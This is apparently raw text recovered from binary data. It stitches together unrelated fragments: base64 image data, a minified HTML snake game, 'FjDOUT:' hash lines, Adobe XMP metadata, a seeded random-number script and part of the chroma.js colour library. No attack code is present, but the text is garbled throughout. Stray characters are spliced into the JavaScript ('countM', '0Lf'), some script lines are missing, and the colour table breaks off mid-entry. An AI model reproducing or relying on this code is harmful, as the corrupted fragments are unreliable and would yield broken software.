o6FGG+s3eDwW9ezbty+llNK3Tg2uLS760LZi/J7/OFxr3jpz15n30KFDA+NbivI2wsUXX1yMu2wp9GKKEk9OBQ0QlAQNEJQWR4U2N9Uva4c0eVo4s73iN36l9Pjxj9zVf/E7vz20uYcxL9ShggYISoIGCEqLY0i0KLpz4RWvLcYnHv/R2MwNg6igAYKSoAGC0uJg7OWth7wl8cx3/6eVuYcxL9ShggYISoIGCEqLo6HSPTdS+SqOqnMPbp/qv5haeebPO4d7M8xS1eZKi3FexXH/uvcV42sPfLLDSGhCBQ0QlAqasfdiixft2pp74wO3F+N9b7qtGK8//bVWvo/xpIIGCEqCBghKi4OxsnHjxpRSSn/Z0rxtzA0LpYIGCEqCBghKi4Oxkj83bpDVq1cX429+85udzAuLoYIGCEqCBghKi2NIHvz0G1NKKe1/5tni2AsnnyvGR04+3z95JsYj3cfZ/v37x3JuaEIFDRCUBA0QlBYHTLDeLnZ2sBtPKmiAoFTQ0LF8M
Z7uPZzvbpXTn6IMhFBU0QFASNEBQWhxB3LbjimJ8zfLzi/ENKy4oxvka68PZGuulaP369WM5NzShggYISoIGCEqLg7Fy7NixsZoXFkMFDRCUBA0QlBYHY+Wxxx7rOoRZVq1a1XUITDAVNEBQEjRAUFocFbZuW9Z/MbWyGE4vP68Y5zeUsHQ8+uijpeONGzd2EM1cvR3sUrKL3bhTQQMEpYIesj+89eHS4zuOnyg9fvCjK0uPM7+8cr3yyitH+t359w37IuGfnv5aMf74rV8/M1AFL1kqaICgJGiAoLQ4GEujbmtAF1TQAEFJ0ABBaXHABLD2eTKpoAGCkqABgtLigIZGdav36Y+9JaWU0v29G1aS9sVSo4IGCEqCBghKiwMaanMvjqXqj97+tmJ86NCh1r9v//792au4++GooAGCkqABgtLiYKyMS0th9erVQ5srX7mR35BSdQ6TQwUNEJQKmpEp24Fu7969HUTSvl27dhXjYe68N46V8vTl/Ytw1113XTHOLwb+M
wz99eZQhpbTsVfO+nV+0HHlsGRU0QFASNEBQWhwdy58SvpQspQ33l9LP2sS3v3+46xBSSikdOfp01yFUUkEDBCVBAwSlxdGxa5af33UInfLr/9Iyitu4hyFKnCpogKAkaICgtDg6tn7FBV2HAASlggYISoIGCEqLY0j2P/NsSimltQv8HMDLqaABglJBL8Lhk8+FmAOYTCpogKAkaICgtDgaOnLy+dDzAZNDBQ0QlAQNEJQWRx0zLW7o3ebcwFhTQQMEJUEDBKXFUeWpowv62Na3Nf2ekwv6HmDyqaABgpKgAYLS4ni5Y092HQFASkkFDRCWCjqllB55sOsIYGLt2rWr9PiGzVtGHMn8IsapggYISoIGCGpJtTjyX1Xuu+fuDiOJZe/evV2HwFn5v0W0FgCjp4IGCEqCBgjqnA2bt7zUdRAAzKWCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKM
ggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCOr/ATYe0LRZqwIuAAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(countM
=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===appleM
.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0Lf):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
FjDOUT:8D8E6F143B05791DBD7F9ADBD88637DFA82C2BA9F40CC55786242C3636B7C1FB
FjDOUT:C354423692AD8A8E048A140CDBA93301B6CC1D2438AE2BA17CD03B91EE689AA3
FjDOUT:3A326CD9962887FD35EF3BC2C99659CC58F8026BAEBD19A2099112D887ADCEB3
http://ns.adobe.com/xap/1.0/
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/"/><rdf:Description rdf:abouM
t="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:xmp="http://ns.adobe.com/xap/1.0/"><xmp:CreateDate>2023-02-14T15:41:59.572</xmp:CreateDate></rdf:Description><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/"><dc:creator><rdf:Seq xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li>Schnierle</rdf:li></rdf:Seq>
			</dc:creator></rdf:Description></rdf:RDF></x:xmpmeta>
                                                                       M





                                                                                      M














                            <?xpacket end='w'?>
**************************************************
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
